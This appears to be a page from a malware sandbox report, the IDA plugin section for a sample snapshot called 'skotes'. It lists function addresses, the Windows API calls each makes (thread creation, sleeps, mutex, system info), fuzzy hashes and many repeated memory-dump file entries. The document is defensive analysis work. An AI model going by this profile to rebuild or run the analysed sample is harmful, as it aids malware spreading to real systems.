Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: a82b83196562c69e8bebfd77422e0855dbb13f7522b8b993d0bef1e38da6b2a6
Instruction ID: 841213206ed6e8727e1b7719ce7ee845549563eb56710a89469727b75c7082b8
Opcode Fuzzy Hash: a82b83196562c69e8bebfd77422e0855dbb13f7522b8b993d0bef1e38da6b2a6
Instruction Fuzzy Hash: 11E026113AC200D5FB003268A895BEE6985E7D6700F285511EA46C61E8CA60668041B3

Function 005B7590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,581F31DB,?,00000000,005F9138,000000FF), ref: 005B75CC
CreateThread.KERNEL32(00000000,00000000,005B7430,00618638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 005B76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005B76C9

Part of subcall function 005CD0C7: RtlWakeAllConditionVariable.NTDLL ref: 005CD17B

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 39ce97c6e2b2531bcf04853e0f505f936ea043625be143598a42523f27f390cb
Instruction ID: e4dc6a1c1f809b6cd825ca6e74e473da3a7a166f9d13c77cf50f714ef811c099
Opcode Fuzzy Hash: 39ce97c6e2b2531bcf04853e0f505f936ea043625be143598a42523f27f390cb
Instruction Fuzzy Hash: 3C5190702002499FEB14DF28CC89FD93FA6FB89704F548629F815972D1CB76A880CB95

Function 005E6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d27b30a15f16c899164e7cebd0f8509537c7ac8fe312ee575e5f9d456d4a3ca
Instruction ID: 8fff44571f89bf63a153b424d343691d0f9cfddb8a31a937d500fc59e24f87d3
Opcode Fuzzy Hash: 3d27b30a15f16c899164e7cebd0f8509537c7ac8fe312ee575e5f9d456d4a3ca
Instruction Fuzzy Hash: 792106329041596BEB296B6A9C46B9F3F29FF913F8F200211F9B42B1C1DB709E018661

Function 005C6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 005C6D11
Sleep.KERNEL32(00007530), ref: 005C6D25

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 83c8805a39f6af564a18818ae72b2523412f78f51e0216614594dc2ca49bf841
Instruction ID: cd9100c6d2547eb632a906633a6bae73955bb8dd18223fd4b24bba617a4be92b
Opcode Fuzzy Hash: 83c8805a39f6af564a18818ae72b2523412f78f51e0216614594dc2ca49bf841
Instruction Fuzzy Hash: 5FD00275BD5314BAF22056A16C0BF66AE21AB0AF51F65684877493E0D086E4390046A9

Function 005B8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005B8524

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 1f7dd4831315f553403a058e2d811dc14030fe78fad987813e020cbd782b30aa
Instruction ID: 14e9b0864de49d33cd3704e9fc69b8819d20f96aee7cd7fb53e2998e64477cdc
Opcode Fuzzy Hash: 1f7dd4831315f553403a058e2d811dc14030fe78fad987813e020cbd782b30aa
Instruction Fuzzy Hash: B15106709002599BDB24EB68CD49BEDBF79FB45314F5042A8E409A72C1DB34AEC4CB91

Function 005E7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,005E705B,?,?,00000000,00000000), ref: 005E7166

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
